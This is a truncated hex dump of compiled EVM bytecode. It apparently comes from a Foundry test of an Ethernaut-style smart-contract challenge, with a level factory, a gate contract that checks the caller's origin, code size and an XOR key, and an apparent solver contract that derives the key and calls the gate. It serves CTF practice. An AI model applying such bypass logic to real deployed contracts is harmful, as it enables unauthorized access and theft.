9c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f91908101906200206b565b90508060018251620009829190620021fb565b8151811062000995576200099562001fca565b60200260200101515f0151600281518110620009b557620009b562001fca565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002211565b90505f81848560405160200162000acd92919062002263565b60408051601f198184030181529082905262000aed929160200162002311565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002343565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002211565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200199190919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002357565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002357565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bf1565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002391565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fca565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040517f47e50cce0000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906347e50cce906044015f604051808303815f87803b158015620010ff575f80fd5b505af115801562001112573d5f803e3d5ffd5b50506021546040515f93506001600160a01b039091169150620011359062001b13565b6001600160a01b039091168152602001604051809103905ff0801580156200115f573d5f803e3d5ffd5b506023546040516303223eab60e11b81526001600160a01b039091166004820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620011ba575f80fd5b505af1158015620011cd573d5f803e3d5ffd5b5050602054602154620011fa9350620011f492506001600160a01b039182169116620014eb565b62001a33565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620012409062002357565b80601f01602080910402602001604051908101604052809291908181526020018280546200126e9062002357565b8015620012bd5780601f106200129357610100808354040283529160200191620012bd565b820191905f5260205f20905b8154815290600101906020018083116200129f57829003601f168201915b50505050508152602001906001019062001220565b5f80604051620012e29062001b21565b604051809103905ff080158015620012fc573d5f803e3d5ffd5b5090505f6040516200130e9062001b2f565b604051809103905ff08015801562001328573d5f803e3d5ffd5b508483604051620013399062001b3d565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001373573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013d2575f80fd5b505af1158015620013e5573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014d257602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200147e5790505b5050505050815250508152602001906001019062001414565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001547575f80fd5b505af11580156200155a573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015b8575f80fd5b505af1158015620015cb573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200162f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200165891908101906200206b565b90506001815111156200167057600191505062001675565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016be9062002357565b80601f0160208091040260200160405190810160405280929190818152602001828054620016ec9062002357565b80156200173b5780601f1062001711576101008083540402835291602001916200173b565b820191905f5260205f20905b8154815290600101906020018083116200171d57829003601f168201915b5050505050815260200190600101906200169e565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017a7575f80fd5b505af1158015620017ba573d5f803e3d5ffd5b5050602054602154620017e79350620017e192506001600160a01b039182169116620014eb565b62001ab2565b565b6008545f9060ff161562001801575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001890573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018b69190620023af565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f6200192a8243620023c7565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019e89086908690600401620023dd565b5f60405180830381865afa15801562001a03573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a2c91908101906200240e565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a98575f80fd5b505afa15801562001aab573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a81565b61064f806200244583390190565b6101a48062002a9483390190565b610ae58062002c3883390190565b611e7a806200371d83390190565b610daa806200559783390190565b6001600160a01b0381168114620011fa575f80fd5b5f805f6060848603121562001b73575f80fd5b833562001b808162001b4b565b9250602084013562001b928162001b4b565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001be55783516001600160a01b03168352928401929184019160010162001bbe565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c2b5762001c2b62001bf1565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c5d5762001c5d62001bf1565b604052919050565b5f67ffffffffffffffff82111562001c815762001c8162001bf1565b50601f01601f191660200190565b5f6020828403121562001ca0575f80fd5b813567ffffffffffffffff81111562001cb7575f80fd5b8201601f8101841362001cc8575f80fd5b803562001cdf62001cd98262001c65565b62001c31565b81815285602083850101111562001cf4575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d2d57818101518382015260200162001d13565b50505f910152565b5f815180845262001d4e81602086016020860162001d11565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e1657603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dff57605f1988850301835262001dec84865162001d35565b948d01949350918c019160010162001dcd565b505050968901969350509087019060010162001d87565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ee457888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ece5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e8a565b5096890196945050509086019060010162001e4c565b509098975050505050505050565b5f6020828403121562001f03575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f6357603f1988860301845262001f5085835162001d35565b9450928501929085019060010162001f31565b5092979650505050505050565b5f6020828403121562001f81575f80fd5b813562001a2c8162001b4b565b5f806040838503121562001fa0575f80fd5b823562001fad8162001b4b565b9150602083013562001fbf8162001b4b565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001ffa5762001ffa62001bf1565b5060051b60200190565b5f6200201462001cd98462001c65565b905082815283838301111562002028575f80fd5b62001a2c83602083018462001d11565b5f82601f83011262002048575f80fd5b62001a2c8383516020850162002004565b8051620020668162001b4b565b919050565b5f60208083850312156200207d575f80fd5b825167ffffffffffffffff8082111562002095575f80fd5b818501915085601f830112620020a9575f80fd5b8151620020ba62001cd98262001fde565b81815260059190911b83018401908481019088831115620020d9575f80fd5b8585015b83811015620021da57805185811115620020f5575f80fd5b86016060818c03601f190112156200210b575f80fd5b6200211562001c05565b888201518781111562002126575f80fd5b8201603f81018d1362002137575f80fd5b898101516200214a62001cd98262001fde565b81815260059190911b8201604001908b8101908f8311156200216a575f80fd5b6040840193505b828410156200218c5783518252928c0192908c019062002171565b8452505050604082015187811115620021a3575f80fd5b620021b38d8b8386010162002038565b8a83015250620021c66060830162002059565b6040820152845250918601918601620020dd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016755762001675620021e7565b5f6020828403121562002222575f80fd5b815167ffffffffffffffff81111562002239575f80fd5b8201601f810184136200224a575f80fd5b6200225b8482516020840162002004565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200229c81600585016020880162001d11565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022db81600a84016020880162001d11565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200232481846020880162001d11565b8351908301906200233a81836020880162001d11565b01949350505050565b602081525f62001a2c602083018462001d35565b600181811c908216806200236c57607f821691505b6020821081036200238b57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023a2575f80fd5b815162001a2c8162001b4b565b5f60208284031215620023c0575f80fd5b5051919050565b80820180821115620016755762001675620021e7565b604081525f620023f1604083018562001d35565b828103602084015262002405818562001d35565b95945050505050565b5f602082840312156200241f575f80fd5b815167ffffffffffffffff81111562002436575f80fd5b6200225b848285016200203856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105d58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101e6806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b506101c98061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b61004636600461014d565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b333b80156100bc575f80fd5b6040516bffffffffffffffffffffffff193360601b166020820152839067ffffffffffffffff9060c083901c906034016040516020818303038152906040528051906020012060c01c1867ffffffffffffffff1614610119575f80fd5b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001632179055600192505050919050565b5f6020828403121561015d575f80fd5b81357fffffffffffffffff0000000000000000000000000000000000000000000000008116811461018c575f80fd5b939250505056fea2646970667358221220f0c394b0333446b0b08bc05053c1bb70424d437a2253ebf9d0f385deeec33e7264736f6c63430008180033a2646970667358221220ecd59112a79433a7c4594bab2e7499af3cad71a41b1605177a775d123302cf5264736f6c63430008180033608060405234801561000f575f80fd5b506040516101a43803806101a483398101604081905261002e9161010e565b5f80546001600160a01b0319166001600160a01b0383161781556040516001600160601b03193060601b1660208201526001600160401b039060340160408051601f198184030181529082905280516020909101205f546319b8102760e11b835260c091821c93909318901b6001600160c01b03198116600483015292506001600160a01b0390911690633370204e9061c350906024016020604051808303815f8887f11580156100e1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610106919061013b565b50505061015a565b5f6020828403121561011e575f80fd5b81516001600160a01b0381168114610134575f80fd5b9392505050565b5f6020828403121561014b575f80fd5b81518015158114610134575f80fd5b603e806101665f395ff3fe60806040525f80fdfea26469706673582212201df4407470d4ed73e787d652557fe6af5213ba862dad05ebd7209d0a1e03a20064736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1